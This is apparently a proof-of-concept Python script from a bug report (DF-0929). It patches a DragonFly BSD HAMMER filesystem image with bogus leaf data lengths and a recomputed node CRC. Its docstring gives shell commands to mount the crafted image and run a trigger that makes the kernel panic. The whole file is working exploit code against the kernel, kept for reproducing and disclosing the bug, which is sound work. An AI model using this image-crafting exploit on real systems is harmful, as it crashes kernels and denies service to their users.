DF-0929 / patch_image.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 | #!/usr/bin/env python3 """ DF-0929 PoC image patcher. Locates the HAMMER B-Tree leaf node in a (small, freshly-formatted) V6 HAMMER image, finds the first two DATA-record leaf elements (rec_type=0x10), sets their data_len to 0x7FFFFFFF and their data_crc to 0, and recomputes the B-Tree node CRC (crc32 for V6 images, which is what the kernel uses for vol_version <= 6). The patched leaves still live in zone LARGE_DATA (data_offset starts with 0xa0...), so the dedup path's zone check at hammer_dedup.c:92 passes. hammer_btree_extract() then loads the leaf and, in hammer_btree.c:736, the KKASSERT(data_len >= 0 && data_len <= HAMMER_XBUFSIZE) fires on INVARIANTS kernels (default X86_64_GENERIC), reproducing the bug as a kernel panic. Build of the trigger: cc -o trigger trigger.c Run: vnconfig -c vn1 evil.img mount_hammer /dev/vn1 /mnt/test ./trigger /mnt/test """ import sys import struct import zlib HAMMER_BUFSIZE = 16384 BTREE_NODE_SIZE = 4096 # struct hammer_node_ondisk BTREE_TYPE_LEAF = ord('L') # 0x4C HAMMER_RECTYPE_DATA = 0x0010 HAMMER_RECTYPE_INODE = 0x0001 BAD_DATA_LEN = 0x7FFFFFFF def find_btree_leaf_nodes(f): """Scan the image for B-Tree leaf nodes. Returns list of byte offsets.""" nodes = [] f.seek(0, 2) size = f.tell() # B-Tree nodes live in 16K buffers; the node itself is 4K and lives at # the start of its 16K buffer (for freshly-formatted images, the root # is the first node in the first btree-zone buffer). # node header: crc[4] reserved01[4] parent[8] count[4] type[1] ... # offset of `type` byte in the node = 4+4+8+4 = 20 = 0x14 # offset of `count` = 4+4+8 = 16 = 0x10 BUFSIZE = 1 << 20 # scan 1MB at a time off = 0 while off + BTREE_NODE_SIZE <= size: f.seek(off) chunk = f.read(min(BUFSIZE, size - off)) if not chunk: break # Inspect every 4K boundary inside the chunk. i = 0 while i + BTREE_NODE_SIZE <= len(chunk): if chunk[i + 0x14] == BTREE_TYPE_LEAF: count = struct.unpack_from('<i', chunk, i + 0x10)[0] if 1 <= count <= 63: elm0 = i + 64 btype0 = chunk[elm0 + 0x23] if btype0 in (ord('R'), ord('L'), ord('I')): nodes.append(off + i) i += BTREE_NODE_SIZE off += len(chunk) - (len(chunk) % BTREE_NODE_SIZE) return nodes def patch_image(path_in, path_out): with open(path_in, 'rb') as f: nodes = find_btree_leaf_nodes(f) f.seek(0) # Read only what we need: the first node, plus write back via r+b. data_len = max(nodes) + BTREE_NODE_SIZE if nodes else 0 with open(path_in, 'rb') as f: # Read entire file is too slow for 4GB sparse. Read up to data_len. f.seek(0) # We need the first node only. Read up to its end. first_node_end = nodes[0] + BTREE_NODE_SIZE if nodes else 0 # Read whole prefix up to first_node_end. data = bytearray(first_node_end) f.readinto(data) # Now operate on this prefix. (We only patch nodes[0].) # Recompute the CRC and patch in memory. # (For the write step, we'll preserve everything else via copy.) nodes = find_btree_leaf_nodes(open(path_in, 'rb')) print(f"[+] found {len(nodes)} candidate B-Tree leaf node(s):") for n in nodes: print(f" node @ 0x{n:x}") if not nodes: sys.exit("[-] no B-Tree leaf node found; bailing") # Re-read the first node bytes for parsing/patching. node_off = nodes[0] with open(path_in, 'rb') as f: f.seek(node_off) node_bytes = bytearray(f.read(BTREE_NODE_SIZE)) data = node_bytes # alias; data[node_off + x] -> shift to data[x] # Adjust the per-elm offsets to be relative to start of node. base = 0 count = struct.unpack_from('<i', data, base + 0x10)[0] print(f"[+] node @ 0x{node_off:x}: count={count}") # data_len field offset within a leaf element: # base(0x28) + create_ts(4) + delete_ts(4) + data_offset(8) = 0x38 DATA_LEN_OFF = 0x38 DATA_CRC_OFF = 0x3c DATA_OFFSET_OFF = 0x30 # data_offset field RECTYPE_OFF = 0x20 # base.rec_type (uint16) targets = [] # list of (elm_off, original_data_len, original_rec_type) for i in range(count): elm_off = 64 + i * 64 btype = data[elm_off + 0x23] rec_type = struct.unpack_from('<H', data, elm_off + RECTYPE_OFF)[0] data_len = struct.unpack_from('<i', data, elm_off + DATA_LEN_OFF)[0] data_offset = struct.unpack_from('<Q', data, elm_off + DATA_OFFSET_OFF)[0] print(f" elm[{i}] btype={chr(btype)} rec_type=0x{rec_type:04x} " f"data_len={data_len} data_offset=0x{data_offset:016x}") if btype == ord('R') and rec_type == HAMMER_RECTYPE_DATA and data_len > 0: targets.append(elm_off) if len(targets) < 2: sys.exit(f"[-] need >=2 DATA leaves; found {len(targets)}") # Patch the first two DATA-record leaves. patch_elms = targets[:2] for elm_off in patch_elms: old_len = struct.unpack_from('<i', data, elm_off + DATA_LEN_OFF)[0] old_crc = struct.unpack_from('<I', data, elm_off + DATA_CRC_OFF)[0] print(f"[+] patching elm @ 0x{elm_off:x}: data_len {old_len} -> " f"0x{BAD_DATA_LEN:x}, data_crc 0x{old_crc:08x} -> 0") struct.pack_into('<i', data, elm_off + DATA_LEN_OFF, BAD_DATA_LEN) struct.pack_into('<I', data, elm_off + DATA_CRC_OFF, 0) # Recompute B-Tree node CRC. For V6 images, hammer_datacrc uses crc32. # HAMMER_BTREE_CRCSIZE = sizeof(node) - sizeof(crc) = 4096 - 4 = 4092. # CRC covers bytes [4 .. 4096) of the node. crc_region = bytes(data[4:BTREE_NODE_SIZE]) new_crc = zlib.crc32(crc_region) & 0xFFFFFFFF print(f"[+] recomputed B-Tree node CRC: 0x{new_crc:08x}") struct.pack_into('<I', data, 0, new_crc) # Copy input -> output, then write the patched node bytes at node_off. import shutil shutil.copyfile(path_in, path_out) with open(path_out, 'r+b') as f: f.seek(node_off) f.write(data) print(f"[+] wrote patched image to {path_out}") # Also emit the base_elm keys for the two patched leaves so the trigger # can use them as elm1/elm2 for HAMMERIOC_DEDUP. print("[+] patched leaf base_elm keys (for trigger):") for elm_off in patch_elms: base_off = elm_off # base is first member of leaf element union obj_id = struct.unpack_from('<q', data, base_off + 0)[0] key = struct.unpack_from('<q', data, base_off + 8)[0] create_tid = struct.unpack_from('<q', data, base_off + 0x10)[0] rec_type = struct.unpack_from('<H', data, base_off + 0x20)[0] obj_type = data[base_off + 0x22] btype = data[base_off + 0x23] localization = struct.unpack_from('<I', data, base_off + 0x24)[0] print(f" obj_id=0x{obj_id:016x} key=0x{key:016x} " f"create_tid=0x{create_tid:016x} rec_type=0x{rec_type:04x} " f"obj_type=0x{obj_type:02x} btype=0x{btype:02x} " f"localization=0x{localization:08x}") if __name__ == '__main__': if len(sys.argv) != 3: print("usage: patch_image.py <in.img> <out.img>") sys.exit(1) patch_image(sys.argv[1], sys.argv[2]) |